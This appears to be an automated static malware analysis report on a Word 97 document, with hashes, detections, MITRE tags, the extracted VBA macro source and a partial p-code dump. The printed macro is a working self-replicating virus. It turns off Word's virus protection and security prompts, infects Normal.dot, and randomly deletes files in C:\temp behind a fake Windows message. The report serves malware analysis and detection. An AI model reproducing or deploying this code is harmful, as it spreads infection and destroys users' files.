Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c42db3e2eaa4c01…

MALICIOUS

Office (OLE)

29.0 KB Created: 2001-08-07 13:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dcf75c39ce37aa18c5b02608ab363624 SHA-1: e65695e19d9e371b6eeeb38e5c7e133d3b2754a5 SHA-256: 6c42db3e2eaa4c012789f05e3ef0bb012b39e415dd6d9fc6f0c63662adeb5e8f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro designed to disable security settings and execute a payload. The macro attempts to bypass Word's macro security by modifying registry keys and disabling security prompts. The payload appears to be truncated but includes a command to kill a file at 'C:\tem', suggesting a downloader or dropper functionality.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6686 bytes
SHA-256: bd2bbab1f08071716a00b54028b6bc53418aca3850d6cae311a4973fa9db305c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lisa"
Attribute VB_Base = "1Normal.Lisa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

'W97m.freespace.a by SEMTEX
Private Sub Document_Open()
 On Error Resume Next
 Set Code = New DataObject
 Options.ConfirmConversions = 0
 Options.SaveNormalPrompt = 0
 Options.VirusProtection = 0
 
 With Application
 .StatusBar = "READY"
 End With

  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
     CommandBars("Macro").Controls("Security...").Enabled = 0
     System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  End If
 CommandBars("Tools").Controls("Macro").Enabled = 0
  If NormalTemplate.VBProject.VBComponents(1).Name = "Lisa" Then
    callitn = True
   Else
    Set A = NormalTemplate.VBProject.VBComponents(1)
  End If
  If ActiveDocument.VBProject.VBComponents(1).Name = "Lisa" Then
    callita = True
   Else
    Set A = ActiveDocument.VBProject.VBComponents(1)
    saveit = True
  End If
  Set ab = A.CodeModule
   Code.SetText Lisa.VBProject.VBComponents(1).CodeModule.Lines(1, Lisa.VBProject.VBComponents(1).CodeModule.CountOfLines)
   ab.DeleteLines 1, ab.CountOfLines
   ab.InsertLines 1, Code.GetText
   A.Name = "Lisa"
   If callitn = True And callita = True Then
    If Int(Rnd * 5) = 2 Then
      Call Lisa_payload
    End If
   End If
  If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Sub Lisa_payload()
On Error Resume Next

DoEvents
Randomize
If Int(Rnd * 500) = 2 Then

 Kill "C:\\temp\*.*"

 Assistant.Visible = True
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "READY"
    .Text = "Windows has just deleted any unwanted files to create freespace"
    .Show
End With
 
End If

End Sub



' Processing file: /opt/analyzer/scan_staging/d984f22403004dc7a369326fdb741f26.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Lisa - 3897 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x001A "W97m.freespace.a by SEMTEX"
' Line #2:
' 	FuncDefn (Private Sub Document_Open())
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' 	SetStmt 
' 	New <crash>
' 	Set Code 
' Line #5:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #8:
' Line #9:
' 	StartWithExpr 
' 	Ld Application 
' 	With 
' Line #10:
' 	LitStr 0x0005 "READY"
' 	MemStWith StatusBar 
' Line #11:
' 	EndWith 
' Line #12:
' Line #13:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #14:
' 	LitDI2 0x0000 
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #15:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	LitDI2 0x0000 
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #18:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0004 "Lisa"
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitVarSpecial (True)
' 	St callitn 
' Line #20:
' 	ElseBlock 
' Line #21:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set A 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	LitDI2 0x0001 
' 	Ld ActiveDo
... (truncated)

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